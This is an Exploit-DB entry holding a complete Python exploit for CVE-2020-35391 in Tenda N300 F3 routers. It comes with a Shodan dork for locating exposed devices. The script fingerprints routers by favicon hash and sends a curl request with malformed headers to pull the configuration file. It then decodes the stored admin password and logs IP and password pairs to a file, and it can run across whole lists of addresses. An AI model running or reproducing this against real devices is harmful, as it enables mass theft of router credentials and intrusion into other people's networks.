Tenda N300 F3 12.01.01.48 – Malformed HTTP Request Header Processing

  • 作者: @h454nsec
    日期: 2023-04-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51317/
  • #!/usr/bin/python3
    
    # Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing 
    # Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN"
    # Date: 09/03/2023
    # Exploit Author: @h454nsec
    # Github: https://github.com/H454NSec/CVE-2020-35391
    # Vendor Homepage: https://www.tendacn.com/default.html
    # Product Link: https://www.tendacn.com/product/f3.html
    # Version: All
    # Tested on: F3v3.0 Firmware (confirmed)
    # CVE : CVE-2020-35391
    
    import re
    import os
    import sys
    import argparse
    import base64
    import requests
    import subprocess
    try:
    import mmh3
    import codecs
    except ImportError:
    print("[!] Install mmh3: pip3 install mmh3")
    sys.exit()
    
    Color_Off="\033[0m" 
    Black="\033[0;30m"# Black
    Red="\033[0;31m"# Red
    Green="\033[0;32m"# Green
    Yellow="\033[0;33m" # Yellow
    Blue="\033[0;34m" # Blue
    Purple="\033[0;35m" # Purple
    Cyan="\033[0;36m" # Cyan
    White="\033[0;37m"# White
    
    def ip_checker(ip):
    if "/" in ip:
    splited = ip.split("/")
    if "http://" in ip or "https://" in ip:
    return f"{splited[0]}://{splited[2]}"
    else:
    return f"http://{splited[0]}"
    else:
    return f"http://{ip}"
    
    def is_tenda(ip):
    try:
    response = requests.get(f'{ip}/favicon.ico')
    favicon = codecs.encode(response.content, "base64")
    favicon_hash = mmh3.hash(favicon)
    if favicon_hash == -2145085239:
    return True
    return False
    except Exception as error:
    return False
    
    def password_decoder(data):
    try:
    for nosense_data in data.split("\n"):
    if ("http_passwd=" in nosense_data):
    encoded_password = nosense_data.split("=")[-1]
    break
    password_bytes = base64.b64decode(encoded_password)
    password = password_bytes.decode("utf-8")
    if (len(password) != 0):
    return password
    return False
    except Exception as error:
    return False
    
    def main(db):
    for ip in db:
    ip_address = ip_checker(ip)
    tenda = is_tenda(ip_address)
    header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="")
    try:
    output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True)
    data = output.decode('utf-8')
    password = password_decoder(data)
    if password:
    if not os.path.isdir("config_dump"):
    os.mkdir("config_dump")
    with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o:
    o.write(data)
    with open(f"credential.txt", "a") as o:
    o.write(f"{ip_address}|{password}\n")
    print(f"{Purple}:{Cyan}{password}{Color_Off}")
    else:
    print()
    except Exception as error:
    print()
    
    if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)')
    parser.add_argument('-l', '--list_of_ip', help='List of IP address')
    args = parser.parse_args()
    db = []
    ip_list = args.list_of_ip
    if ip_list:
    with open(ip_list, "r") as fr:
    for data in fr.readlines():
    db.append(data.strip())
    else:
    db.append(args.ip)
    main(db)